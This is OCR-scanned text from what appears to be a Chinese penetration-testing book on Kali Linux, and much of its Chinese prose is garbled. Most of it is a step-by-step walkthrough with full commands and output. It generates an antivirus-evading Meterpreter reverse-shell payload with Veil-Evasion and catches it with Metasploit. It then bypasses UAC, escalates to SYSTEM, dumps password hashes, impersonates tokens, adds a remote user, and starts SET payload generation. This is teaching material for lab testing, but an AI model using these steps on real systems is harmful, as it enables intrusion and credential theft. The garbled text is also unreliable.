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Xplico ...Wabs:., - lcewsasael m

File Edit Wiew History Bookmarks Tools Help
F..‘: Xplico ..:Webs:.. ' i
L [d localhost: 98 76/ webs VGJ | v Gaaqgle Q| {L Ll

B Mast Visited~ [lOffansive Security " Kali Linue ™% _Kali Docs  EBExploit-D& W Aircrack-ng

For a complete view of html page set your browser to use Proxy, and
point it to Web server.
Web URLs: @ Hitmi Cimage  CFlash  Ovideo  Chudio
CIS0N Cran
Search: baikdu Go
Date Ul Slze Mathod  Info
2014-0F-1T7 18:14;:58 image balde.com/data/ImginfoTplictume_d=1048784] -1} § GET Infa.amil
2014-07:1T7 18:14:50 Image balda.com/dets/imginfo?piciure_d=1048TTSE 872 QET i xml
2014-07-1T7 16:14;48 image haida.com/data/imginfoPplcture_del 21 SE50E BEL GET infa,zmi
2014-07-1T 16:14:42 Image balde.oom/ dats /Iimginfo?ploture_ld=1048TE4E SEE GET  info.amd
2014-07-1T7 18:14:37 pos baldu,.comSacomTeac=gh2 312 kdal= 1 Ecfv=-Bhepa 38243 GET (LKL
II"i"l'l nce 2014-07-1T7 18:14: 38 www . baldu.com/ur/scunTiitle=REINBONIOWINTRESN 284T GET Info.xmdl
2014-07-1T7 18:14:38 eml.peoaing, com,cnfaniry JipPurl=hiph 34/ fenll papd 203932 GET [L1ET
2014-07-1T7 16:13:58 imags. balde.com;dats/ImginfoTplotue_|d=10487T808 aT1L GET Info.xmdl
2014-07-17 16:13:47 Image. balde.com/detall /newlsdertool =SESNAINA1Y E1BES GET  info.aml
2014-07-1T7 18:13:44 image balde.com/channe|/getplcinfatidl lst=121 8683 431 GET  info.ami
2014-07-17 18:13:43 Image balda.com/ch I F1is GnonT?pa=0A T4 hiagl Tigl QET o xmd
2014-07-1T7 18:13:41 image haide.com/channs| fwallpapsr 27144 GET infa.zmi
2014-07-1T7 16:13:36 Imags balde.com;’ 40967 QET rifo . xmd
2014-07-1T 18:13: 3T www Baldu.com/ 15078 GET  infa.ami
2014-07-1T7 15:13:19 pos baldu.com/ecomPosc=utf-BAdsl=5Lctv= B Lopas1 40807 GET  Info.amd
F014-07-17 48:13:18 pos baldu,comSacomTcac=uti-Bldal=dketveBicpa=1. 43538 GET Inia,amd

4 6.30 it

(12> MizFri T BLA 2], ISR 3 1. WRAES Hbr R ViR E R,
Fh ZE A= P ) Tmage ZET0, CRf o~ tn P 6.31 BT #ei .

|
Xplico ..:Webs:.. - lceweasel ﬁl:ll.‘

File Edit View History Bookmarks Tools Help
i Xplico ... Webs:, i*
4 | & Localhost 9876/ websfimage v @[ v coogle al &

5% Most Visited~  [JfjOffensive Security ", Kali Linux ", Kali Docs  EBExploit-DB W Aircrack-ng

co Interface

Search:

{ hiphalos bkl oom AL hiphaotos Dkl oom Ih.hiphoilos. baidu. G Ehiphotos hakdu com

Image or Page Image o Page Image o Page bnage or Page

b hiphenos baidu gom #.Ripholos Dkl G0 i b hiphat 08 Dakiu Lom

Image or Page image or Page

Fenhance

«.hiphotes baidu.oom Imgstat.baldu.com bhiphotes baldu.oom ahiphectos bakdu.com
Image or Page Image o Page Image or Page knage o Page

P 6.31 il i 1=
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(13) Mozt n] BLE 3 H bR R Geih L B B (5 .
6.5 %7 Payload % m T E Veil

Veil /& —3CF H] Metasploit HE 22 4 ploHH 3 75 1) Payload TR, F HL7E A 2 3 R 24 3R 55
BESRIL H WA R BRI . AR A4 Veil T H 22 i H .

{E Kali Linux 1, BRIAAT %248 Veil TH. B Pk 2ede Veil TH, #0470 N1
|ﬁ3’}

root@kali:~# apt-get install veil

PAT LA A S, WA RV AT P R E R IR, WIFR Vel T HAZ%ER). BT
A T HAMOE P P ee 2, B LRl R )7 fi .

B Veil T H. 4740 F iR

root@kali:~# veil-evasion

AT B n, ot oRENEE. W FEoR:

eil First Run Detected... Initializing Script Setup...

[+] Executing ./setup/setup.sh

Veil-Evasion Setup Script | [Updated]: 01.15.2015

[Web]: https://www.veil-framework.com | [Twitter]: @VeilFramework

[#] Initializing Apt Dependencies Installation

[*] Adding i386 Architecture To x86_64 System

[#] Updating Apt Package Lists

frH http://mirrors.ustc.edu.cn kali Release.gpg

firH http://mirrors.ustc.edu.cn kali/lupdates Release.gpg

frH http://mirrors.ustc.edu.cn kali Release

frH http://mirrors.ustc.edu.cn kali/lupdates Release

frH http://mirrors.ustc.edu.cn kali/main Sources

frH http://mirrors.ustc.edu.cn kali/non-free Sources

fH http://mirrors.ustc.edu.cn kali/contrib Sources

fird http://mirrors.ustc.edu.cn kali/main amd64 Packages
frH http://mirrors.ustc.edu.cn kali/non-free amd64 Packages
frH http://mirrors.ustc.edu.cn kali/contrib amd64 Packages
$%BL: 1 hitp:/imirrors.ustc.edu.cn kali/main i386 Packages [8,474 kB]
fir A http://http.kali.org kali Release.gpg

frH http://security.kali.org kali/updates Release.gpg

fird http://http.kali.org kali Release
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DM http://http.kali.org kali/non-free Translation-en
T# 17.8 MB, #Rf 20 # (859 kB/s)
EHEIENSHEIE.. TM
[#] Installing Wine i386 Binaries
EFIENEHaNE.. =M
IE7E 5 #4682 A9t < =t
EFEIREIRTEES... T
SR PSS RS
gce-4.7-base:i386 libasound2:i386 libc-bin libc-dev-bin libck libck:i386
libc6-dev libc6-i686:i386 libdbus-1-3:i386 libdrm-intel1:i386
libdrm-nouveau1a:i386 libdrm-radeon1:i386 libdrm2:i386 libexpat1:i386
libffi5:i386 libfontconfig1:i386 libfreetype6:i386 libgcc1:i1386
[*] Cleaning Up Setup Files
[+] Updating Veil-Framework Configuration
Veil-Framework configuration:
[#] OPERATING_SYSTEM = Kali
[*] TERMINAL_CLEAR = clear
[«] TEMP_DIR = /tmp/
[*] MSFVENOM_OPTIONS =
[¥*] METASPLOIT_PATH = /usr/share/metasploit-framewaork/
[*] PYINSTALLER_PATH = /usrishare/pyinstaller/
[*] VEIL_EVASION_PATH = /usr/ishare/veil-evasion/
[*] PAYLOAD SOURCE_PATH = /root/veil-output/source/
[#] Path '/root/veil-output/source/" Created
[*] PAYLOAD _COMPILED_PATH = /root/veil-output/compiled/
[#] Path ‘/root/veil-output/compiled/' Created
[#*] Path "froot/veil-output/handlers!” Created
[*] GENERATE_HANDLER_SCRIPT = True
[*] HANDLER_PATH = /root/veil-output/handlers/
[#] HASH_LIST = /root/veil-output’hashes. txt
[*] VEIL_CATAPULT _PATH = /usr/share/Veil-Catapult/
[#] Path ‘/root/veil-output/catapult’ Created
[#*] CATAPULT_RESOURCE_PATH = /root/veil-output/catapult/
[#] Path 'fetc/veil/' Created
Configuration File Written To 'etc/veil/settings.py’

BA LA BT AE S — UKIEAT Veeil IS A R, (RS A, Wi —seAs, #hibas
oo BTACE RS T . AR o B PR ST R KK 53 T Python R
[P/ BBl pywin32-218 il pyerypto-2.6. NI CHEA T 2225 . ¥ 63t O 1 HE , il 6.32
e

Z AT %2 2%% Python (445 51T 3% HLAF FIBRIA B E, MRy Next fidll, RSx4
6.33 Jitors (1 S

7% JLTI il Next 352401, 4 Bl 6.34 B 541 . 1% SIS C:\Python27 (147
e, DR T B AR SCPF . X T Yes 48], R o i 6.35 Fras iy S-i .
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4 6.32  Python ¥4 5 ifi 4 6,33 H4F Python 480

[¢l 6.34 ik Python 142 34 1 % 6.35 [ 5 % Python

TEAZ S o 4% Python [ -2ThfiE. GCHEAFHIERAMHEE, ki Next #H1, 1%
SRt 6.36 s Y.

P 636 ek

=191 -



H2h (B A

ZFrffie s Python L2844 5¢ . BN Hli Finish 1%L, 5 a8 6,37 Frasiy Frifl.

% 6.37 4% pywin32-218 FEbF

SRS B R 2 pywin32-218 b X B <R DY L, R BB 6.38 Bt
AR ST

638 WERT
XEAFH B, <R 7 Kl KRR 6.39 Bras A

% 6.39 it

+ 192 -



#5065 il A

IR S T B IR &%. WREARC B IR R A, Rh <87 %Ml
o in i 6.40 Frasi St

F 6.40  ZEESERk

MAZ v LAE B pywin32-218 $ibe et et se il R el “E5W dd, 5 EBoR
W 6.41 Fr< i SLii .

P 6.41 %3 pyerypto-2.6 BHLET 4 F
IR T 2 pyerypto-2.6 Fib, IXHLEAE 5" 3REITTAeE, nfE 6.42 FR.

Eed42 EENS

=193 -



H2h (B A

EAEHIBROABEE, ol “F 2P L R R nlE 6.43 Bk i F i .

I 6.43 s

2SR R 2 25 pyerypto Bibl . IR “F 2" #Hl, ¥ EnwE 6.44 Fron
IELTTTR

Pl 6.44 ek

MAZ S n] LLE B A E8a O de e . et sl “ 85007 el of BoRtn R FR
s -
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clean
checkvt
exit

clean out payload folders
check payload hashes vs. VirusTotal
exit Veil

[3"] Please enter a command.
ML G BT DL FIZE Veil F. 47 24 ANBGEERETINGR, JF5UH T oAl ar 4.
S AT LT & B T o 1A o R B, AT i & R R

[»] Please enter a command: list

Veil-Evasion | [Version]: 2.4.3

[Web]: https:/fwww.veil-framework.com/ | [Twitter]: @VeilFramework

[#] Available payloads:

1)  c/meterpreterfrev_tcp

2) c/meterpreter/rev_tcp service

3) c/shellcode_inject/virtual

4) cl/shellcode_inject/void

5) cs/meterpreter/rev_tcp

6) cs/shellcode inject/base64 substitution
7) cs/shellcode_inject/virtual

8) native/Hyperion

9) native/backdoor_factory

10) native/pe_scrambler

11) powershell/shellcode_inject/download_virtual
12) powershell/shellcode_inject/psexec_virtual
13) powershell/shellcode_inject/virtual

14) python/meterpreter/rev_http

15) python/meterpreter/rev_http_contained
16) python/meterpreter/rev_https

17) python/meterpreter/rev_https_contained
18) python/meterpreter/rev_tcp

19) python/shellcode_inject/aes_encrypt

20) python/shellcode_inject/arc_encrypt

21) python/shellcode_inject/base64 substitution
22) python/shellcode inject/des_encrypt

23) python/shellcode_inject/flat

24) python/shellcode_inject/letter _substitution

MR s B, ATRLE BT 24 Aar AT et #cter o e Ay BUR AR Ae]— N B 4
far, WEATZE LG .

[ 52651 6-51]

AT ] Veil T HAPEfr (A4 BL cs/meterpreter/rev tep M) , T

iz (X H L Windows 7 AF hEGHFEHL) o FARRAF D5 F s,
(1) Jaah Veil TH. 4T84 FFros:
root@kali:~# veil-evasion

WATLL Edr A I5, 45 BRI F IR f:

Veil-Evasion | [Version]: 2.4.3

[Web]: https:/fwww.veil-framework.com/ | [Twitter]: @VeilFramework

Main Menu

24 payloads loaded
Available commands:

use

use a specific payload

t'lf_"lSi
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info information on a specific payload

list list available payloads

update update Veil to the latest version
clean clean out payload folders

checkvt check payload hashes vs. VirusTotal
exit exit Veil

[>] Please enter a command:

e H 45 G 2)[=] Please enter a command: 217, #hdm Veil Fatksh 7.
(2) i%¥F cs/meterpreter/rev tcp Prilidfr. fEHdidifr ¥ &b, cs/meterpreter/rev tcp
AT ISR St 5. AT A W E Bk

[»] Please E!I'ItE!I’ a GCII‘T'II"I'IEII"‘I'd' use 5

Veil-Evasion | [VBFSIDH] 243

[Web]: https: waw venl framework.com/ | [Twltter] @VedFramework

Payload: csfmeterpretarfrev_tcp loaded

Required Options:
Name Current Value Description
LHOST IP of the metasploit handler
LPORT el Port of the metasploit handler
compile_to_exe Y Compile to an executable
Available commands:
set set a specific option value
info show information about the payload
generate generate payload
back go to the main menu
exit exit Veil

[#] Please enter a command:

s BB OR T rev tep BT A AT 0T G AR 00 2 A . 1K HLBR IR s 1 A Hi g 1)
(LPORT) it 4444, LHOST & I0if 7% 4 il &
(3) [ LHOST ki Z4r, & &EIodidar Miegnds B, $uirdsS i F s

[>] Please enter a command: set LHOST 192.168.6.103
[>] Please enter a command: info

Payload information:

Name: cs/meterpreter/rev_tcp
Language: csS
Rating: Excellent
Description:  pure windows/meterpreter/reverse_tcp stager, no
shellcode
Required Options:
Name Current Value Description
LHOST 192 168.6.100 IP of the metasploit handler
LPORT 4244 Port of the metasploit handler
compile to exe Y Compile to an executable

Mt 5 B, LU 3] rev_tep Bulidlenr A i &, Wdrh#@iar 4. 65, H
| B e L (P 3 2 B 5
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(4) ek, ffH] generate iy 4 A B A S0 AT AR SR TR

[#] Please enter a command: generate

Veil-Evasion | [Version]: 2.4.3

[Web]: https:/fwww.veil-framework.com/ | [Twitter]: @VeilFramework

[*] Press [enter] for 'payload'

[>] Please enter the base name for output files: backup #5 Em LA
e, g PR E — 0 4 0 backup. SR |45, R Eontl B RTR S B

[#*] Executable written to: /root/veil-output/compiled/backup.exe
Language: cs

Payload: cs/meterpreterirev_tcp

Required Options: LHOST=192.168.6.103 LPORT=4444 compile_to_exe=Y

Payload File: Iroot/veil-output/source/backup.cs

Handler File: froot/veil-output’/handlers/backup_handler.rc

[*] Your payload files have been generated, don't get caught!

[l And don't submit samples to any online scanner! ;)
[>] press any key to return to the main menu:

M i (5 & P ] L 204 g T $ 47 304 backup.exe,  F H % 3O R A7 7E
/root/veil-output/compiled/H1 . BEIFHEE 0] $h 4T 304 F backup.exe JiZ 3| H s EHL L, winl LR
HiZdedidar T .

k7T ST ] Metasploit )& — o FE b A5, 555 H fn EHLES: S| Kali Linux (4
i L) EelERE. EENTY G, WiREE] A C R Shell 674 .

[ 6-61 GlEucFeib®as. HAREAE LW PR,

(1) Jizh MSF # .

(2) {#H] handler fiitl. FhATar W FFos:

msf > use exploit/multi’/handler
(3) IN#K reverse_tep Bt Ay, JF R E GRS $ATH W FIiR.

msf exploit(handler) > set payload windows/meterpreter/reverse_icp
payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.6.103

LHOST => 192.168.6.103

(4) [HahiEiEN. AT ST s

msf exploit(handler) > exploit
[+] Started reverse handler on 192.168.6.103:4444
[*] Starting the payload handler...

Mr B AE BT LA B e BT R 3, I SRR IR AR L.

s Pt 0 T A R T B AT S0P backup.exe A% F]H bR EHL (Windows 7)), HE1Ti%
a[4RAT SO, ARJF IZIPI P Kali Linux Be0E R4, K5 Bl FHR 1045 B

[*] Sending stage (769536 bytes) o 192.168.6.110

[*] Meterpreter session 1 opened (192.168.6.103:4444 -> 192.168.6.110:2478) at 2014-07-17

10:44:47 +0800
meterpreter >

MEL G Erp, T B B R IHET T Meterpreter 2= 1% . 12 37 LR Dh &% Uit H
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FrAEHL, BRAESE T LLEFT 4% Shell dp4-. WiEdT HAx BHLA Shell BE, iTa 4T
FfF a1

meterpreter > shell

Process 1544 created.

Channel 1 created.

Microsoft Windows [ 6.1.7601]

OO0O0O0000(e) 2009 Microsoft Corporation OO OO 0O00000
C:\Users\lyw\Desktop>

s SRR EEN T Hbs 24 Windows 7 45 247, 9 FL2YAT H s &40 5 419 ]
it lyw,
LA B P AT R SRR B, mT RS F Metasploit ] bypassuac #RELER 1 UAC CH
TUTEEEED , BEmARTE S BE . R R /204 AT bypassuac fRERSETHEL E lyw I
[‘H‘){ H’\. o
(1) ¥ Meterpreter 2=1, WHE| G &izir. #ATan2 W F Aros.

meterpreter > background
[*] Backgrounding session 1...

Mt B, aTELE B E G Gl rfasifd o2 1. Eaind s & EidfE, &
e 1A 2 F 3
(2) ‘ﬁ'»‘T— graeeifE lu.r-:- ’H‘L“ 1‘&]"%'&[] F JIJI’r-".-I:;:

msf exploit{handler) > sessions
Active sessions

Id Type Information Connection

1 meterpreter x86/win32 WIN-RKPKQFBLGEC\bob @ WIN-RKPKQFBLGEC
192.168.6.103:4444 -> 192.168.6.106:49199 (192.168.6.106)

M H S BT LR BZ 21, JERP| H s RENI2IT R 5L A TP k.
(3) {fH] bypassuac #ith, JF&H ] RUE AL SE. AT F s
msf exploit{handler) > use exploit'windows/local/bypassuac

msf exploit(bypassuac) > show options
Maodule options (exploit/windows/local/bypassuac):

Name Current Setting Required Description

SESSION yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (accepted: seh, thread, process,
none)

LHOST 192.168.6.103 yes The listen address

LPORT 4444 yes The listen port
Exploit target:

Id Name

0 Windows x86

Mot E B, o] DU BB H e i ep A/l i 8 (115 101 2 87 SESSION . 1% 10 i) {E
B2 AT S BT iE g S .
(4) % SESSION ikmi&$. i Fiir.
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msf exploit(bypassuac) = set session 1
session => 1

(5) |\ahEEAGl. AT S Fros:

msf exploit{bypassuac) = exploit
[+] Started reverse handler on 192.168.6.103:4444
[#*] UAC is Enabled, checking level...

[+] UAC is set to Default

[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...

[*] Uploaded the agent to the filesystem....

[*] Uploading the bypass UAC executable to the filesystem...

[*] Meterpreter stager executable 73802 bytes long being uploaded..

[+] Sending stage (769536 bytes) to 192.168.6.106

[*] Meterpreter session 2 opened (192.168.6.103:4444 -> 192.168.6.106:49206) at 2014-07-18
10:15:38 +0800

meterpreter >

Mo s S, aTRUE B H A S sk i R P sk b B2 I8 B g ba, JF HE8t T
UAC & 728 . e sl nl AR TR P R 7 .
(6) frf lyw H MG B fdTar 2t s

meterpreter > getuid
Server username: WIN-RKPKQFBLGEC\lyw

M s B ] LA #Z ] 5 HO2 WIN-RKPKQFBLG6OC f FHL A ) — -~ 38 11 F .
C7) TV lyw H P BORR, HEEHLHPAEE. #ATmS s

meterpreter > getsystem

...got system (via technique 1).

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

M e f.’i"L"1""J'LLL"1”'£'J""1'|]7I lyw FI/ S 41T T RSSO AR . ey, v RARE A
Modef . gk Hbs Rgih, P MBS A . AT a2 F s,

meterpreter > run post/windows/gather/hashdump

[+] Obtaining the boot key...

[#] Calculating the hboot key using SYSKEY 88f6c818af614f7033cb885 74907b61c...

[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hints...

Test:"www.123"

abc: 1234567

alice: “passwd”

[*] Dumping password hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089¢c
0

Guest:501:aad3b435b51404eeaad3b4 35b51404ee:31d6cfeld16ae931b7 3¢59d7e0c089c0:::
bob:1001:aad3b435b51404eeaad3b435b51404ee:32edB87bdb5fdc5e9chba88547376818d4

Mo s S, wTEUE B H AR Rmgeh A AHP, HHATRUEF e UID J2 %
A L SR EEEE] SRR AT I Wl Test ALF, HOE RS www. 123,

. ]qgo
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F£75 IR E F

FPR S T 8 2 6 5 F P JEORAAT e AR A PR 48 = B e =y 0T, FRATISRAS U ) B
Pl REHAT BARPIRLR . HAE, G SREETIZBIENGE, AR EE E S R, TR
b R AT . BCPREE T o] L B E S ACH A PR 42 A2 TR A S i
SCHL . AREDR AT P AR A5 RO

AEE R EAR SAT

Q  fEHE AR,

S R RS L

Q fifta TR LHE (SET)

Q {1 SET 9z jifi e ik .

7.1 AEJFIRE 4%

i 4 BT LU AN R R 5 AN AT R, ST B P LR G
HU P RIAS . MR A I S B, TP S R AR PR .
AN B Windows RGUH, RS AN S RE DAL E 5. Bk,
AN P T LA B RSB — AN A5, AT A B A
A, HEALIE TSN, MRS BRSSO, R, NRERX A, K
FRTHE OV AR . A% 04 A 417 Meterpreter Shell ‘¥ SB{E H 4 M.

7.1.1 LA
{EE A MY h G EAE R T Kerberos P B LAYEAEHIEEE 4 My, sS4 P

Kerberos il . Kerberos & fp 8 A UE PR, LT Hbr il il 858 400 & P WU R 55
2o 1 R A At om A AIE IR 45 . Kerberos ML AN E 7.1 fios.

@ EEES 8
S e 5
EPH N\,

7R

A ERRFATAS o

¥ 7.1 Kerberos T {fHLi
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P i SRAIE P R R B

(1) ZFPmE ARS8 (AS) Fikifisk, TR IR 525 0E 15 .

(2) AS WK, B 5 o T I o S0 5w B e 6 85 % i B
i 55 % ticketCOLHG AR 55 25 95 B0 008 (003 LS 4 A0 2 188 B DRIt s o s 43 B C 3L
P21 4 session key) o M8, MIEIRS 32 ZiE BES IR &b ik —r, Hkefl
Al 55 2 UIE T e 725 P i S

(3) P ticket {RIE MR35 L, RS AR UZE PG, (i RVFE Tk

(4) IXFEFS P g T e T Je s By 3 5 T LA ik N A2 1R 5585 SR R HDL 1) 25 7 g 1) TR

712 FHRBRES

S T 3R~ Meterpreter Shell, H] /@420 4 B Metasploit 220 TG A al )
=y Mﬂtﬂrpretar 25 B {d B Metasploit Bl FHLA Hrid, 25 ..=.1'] L'F—ﬂilf??{n X H
A FEELIA . A B SRR E i B AR R BRI R s

(1) rria'»'J Meterpreter =i . AT a2 W0 F By

msf auxiliary(browser_autopwn) = sessions -i 1
[#] Starting interaction with 1...

meterpreter >

Mt {5 B el LUE S|, %Ihiash T Meterpreter 231 .
(2) {# ] use incognito iy % IN#L incognito Bk, MG M 45 A 0. $hATdr & W F B

meterpreter > use incognito
Loading extension incognito...success.

o HH (1915 B 2 BRID K incognito Bk, PR 5 al LR A FEN(E R, 1S4 2
it . AT T B

meterpreter > help
Core Commands

Command Description
7 Help menu
background Backgrounds the current session
bagkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a
background thread

channel Displays information about active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
help Help menu
info Displays information about a Post module
interact Interacts with a channel
irb Drop into irb scripting mode

...... HRAINE

Stdapi: Webcam Commands
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Command Description

record_mic Record audio from the default microphone for X seconds
webcam_list List webcams

webcam_snap Take a snapshot from the specified webcam

Priv: Elevate Commands

Command Description
getsystem Attempt to elevate your privilege to that of local system.
Priv: Password database Commands
Command Description
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
Command Description
timestomp Manipulate file MACE attributes
Incognito Commands
Command Description
add group_user Attempt to add a user to a global group with all tokens
add_localgroup_user Attempt to add a user to a local group with all tokens
add_user Attempt to add a user with all tokens
impersonate_token Impersonate specified token
list_tokens List tokens available under current user context
snarf_hashes Snarf challenge/response hashes for every token
DR fn KL 7 incognito R I A4 . A HH BOAE B ] LR 208 48 Y i

A4 M ar 42 list tokens, 447 BL Eap4 G ¥smt R EGEE, B FRIERR, 8ol

fEHENES (... BULT.
(3) BUESETE A M. ATHS TR

meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available

AA-B8B60KJIM26FSW\Test
Impersonation Tokens Available

No tokens available

WA B 5 AT LA 5 B A0 AT AA-8B60KIM26FSW\Test o I 1
AA-8R60KIM26FSW o Hfn 2401 EHL4, Test #n kR P 4

(4) {#H] impersonate_token @74 Test H Pt Bk . 047 uu’-‘?ﬂlr NIERE

meterpreter > impersonate_token AA-BBEOKJMZ6FSW\\Test

[-] Warning: Not currently running as SYSTEM, not all tokens will be available

Call rev2self if primary process token is SYSTEM

[+] Delegation token available

[+] Successfully impersonated user AA-8860KJM26FSW\Test

Mg th A5 Bl LG 2 S Test Bl plgrh . deistsn] LB BT A S roBdR, 76 H

tR RGP HEATAE A A T -
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LFEE, e A HOSTNAME\WUSERNAME #4 & 5 286 A A~ L& ()

7.2 AALFRIZ A

LAl T O HRCH bR RS R, BUAE AR 2R G A RS Il B TR H AR R S R ATAL
PR SETH AR BR AT BLEE R P o7 o) Hbs R 4E,  JF LT AR R34, e 1 M 55 .
AT AT e A MR PR B2 T

[l B (1 S B A M B PR T, e 75 3238 4% 51 Meterpreter 2315, HAAREERAF 4. A
H AR ST B AR A 2B R R B

(1) Ji3h Meterpreter 2315 . AT M2 W K R:

msf auxiliary(browser _autopwn) > sessions -i 1
[+] Starting interaction with 1...

meterpreter >

M (s BeT LS, Ih sl T Meterpreter 231 .
(2) {FH getsystem dgp ST AMALR . 5%, EEHEZ@SHRHIER. thirdaSa
FHiR
meterpreter > getsystem -h
Usage: getsystem [options]
Attempt to elevate your privilege to that of local system.
OPTIONS:
=h Help Banner.
-t <opt> The technique to use. (Default to '0"),
0 : All techniques available
1: Service - Named Pipe Impersonation (In Memory/Admin)
2 : Service - Named Pipe Impersonation (Dropper/Admin)
3 : Service - Token Duplication (In Memory/Admin)
it G B SR T getsystem w4 iR L, A RS . ek ER AT UREE B 2
R, AT FE A N R T e i T A b PR
(3) {difi] getsystem iy S42 FEACHIUBLBR . $AT 4t F IR
meterpreter > getsystem
...got system (via technique 1).
meterpreter >
MArH s BT USR], HalksE T 7% 1. sl P gl T H s REe Test H
FHIBER T ﬁ?EéJﬁijﬂt'nJ'EHEJ{JLlﬂEFHJTJHﬂA e Qg P 5. il A P
Hir 740 1 192.168.41.146 GIEE-—~44 04 bob IJH o AT dr 21 frm

meterpreter > add_user bob 123456 -h 192.168.41.146
PATEL Edr 405, nJLAZEEHL 192.168.41.146 | & F 61 bob H .

73 1EHAALSITFEF T HE (SET)

TR T HA (SET) & - PHFiEF. Python BRaNHI# 2 TRES N T H.
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X T H AL David Kenned ¥t 1) H O 28 1k b ¥E58 38 S8 il 2 TR 22 2Gh i dsifE . SET
P AT G270 (S0, 0B R - Se BRI, Mok AT H S frEm gy . H SET
o AR A A B H b R oe, WUE R REGEEE, QAL TR EGEEE.
At s TEY TRERER.

731 BRIHSTIREFTEE

R TR T HA 2], Wi ahi TH. B LR F ik
(1) 38l SET. FELLandh AT F B s i %
root@kali:~# setoolkit

ol AE S A iR < R R R T |Kali Linux| “ i ) H] T H 42 7 |Social Engineering
Toolkit|setoolkit 74>, 35 B zh4T H— B~ setoolkit i 4 1a 17 1) 2% 855 .
AT bdr 2 I, FE R s fs B

[-] New set_config.py file generated on: 2014-05-06 18:05:41.766123
[-] Verifying configuration update...

[*] Update verified, config timestamp is: 2014-05-06 18:05:41.766123
[#] SET is using the new config, no need to restart

Copyright 2013, The Social-Engineer Toolkit (SET) by TrustedSec, LLC
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted
provided that the following conditions are met:
+ Redistributions of source code must retain the above copyright notice, this list of conditions

and the following disclaimer.
+ Redistributions in binary form must reproduce the above copyright notice, this list of

conditions and the following disclaimer
in the documentation and/or other materials provided with the distribution.
+ Neither the name of Social-Engineer Toolkit nor the names of its contributors may be used

to endorse or promote products derived from

this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS EBE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
The above licensing was taken from the BSD licensing and is applied to Social-Engineer Toolkit
as well.
Mote that the Social-Engineer Toolkit is provided as is, and is a royalty free open-source
application.
Feel free to modify, use, change, market, do whatever you want with it as long as you give the
appropriate credit where credit
is due (which means giving the authors the credit they deserve for writing it). Also note that by
using this software, if you ever
see the creator of SET in a bar, you should give him a hug and buy him a beer. Hug must last at
least 5 seconds. Author
holds the right to refuse the hug or the beer.
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The Social-Engineer Toolkit is designed purely for good and not evil. If you are planning on using
this tool for malicious purposes that are

not authorized by the company you are performing assessments for, you are violating the terms of
service and license of this toolset. By hitting

yes (only one time), you agree to the terms of service and that you will only use this tool for lawful
purposes only.

Do you agree to the terms of service [y/n]:

i S SR 48 T SET. i%fs QAR — st A4 i, EiEmiEEsZix
ars BG, AT HAh e 4 . R v, B BRI BT iE B

= The Social-Engineer Toolkit (SET) []
I~ Created by: David Kennedy (ReL 1K) [--]
=l Version: 5.4.2 [~
[] Codename: "Walkers' [~]
[—1 Follow us on Twitter: @ TrustedSec [—]
=] Follow me on Twitter: @HackingDave [
-] Homepage: hitps://www.trustedsec.com -]

Welcome to the Social-Engineer Toolkit (SET).
The one stop shop for all of your SE needs.
Join us on irc.freenode.net in channel #setoolkit
The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://www.trustedsec.com
Select from the menu: HSET 38
1) Social-Engineering Attacks
2) Fast-Track Penetration Testing
3) Third Party Modules
4) Update the Metasploit Framework
5) Update the Social-Engineer Toolkit
6) Update SET configuration
7) Help, Credits, and About
99) Exit the Social-Engineer Toolkit
set>

DL SRR TS TR T B, A, {C5 G e, thrn] RS B &
T N = o VAT E H—L—ﬂ iRy E

(2) X B e TR, R e o 1, FTLLAE set=JS A 1, 5 58
W s s B
set> 1

Welcome to the Social-Engineer Toolkit (SET).
The one stop shop for all of your SE needs.
Join us on irc.freenode.net in channel #setoolkit
The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://www.trustedsec.com
Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) SMS Spoofing Attack Vector
8) Wireless Access Point Attack Vector
9) QRCode Generator Attack Vector
10) Powershell Attack Vectors
11) Third Party Modules
99) Return back to the main menu.
set>
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5 Pl V8 s

DL EAG BB R T M2 TR AR s ik I, X ) DL R Ml TRE 2R 2 Y, 4R

fe AT MG
(3) IXHEFEEE A U 2%, BG4, 0 o
set> 4

set:payloads> Enter the IP address for the payload (reverse):192.168.41.146

What payload do you want to generate:

Name:
1) Windows Shell Reverse_TCP

2) Windows Reverse_TCP Meterpreter
3) Windows Reverse_TCP VNC DLL
4) Windows Bind Shell
5) Windows Bind Shell X64
6) Windows Shell Reverse TCP X64
7) Windows Meterpreter Reverse_TCP X64
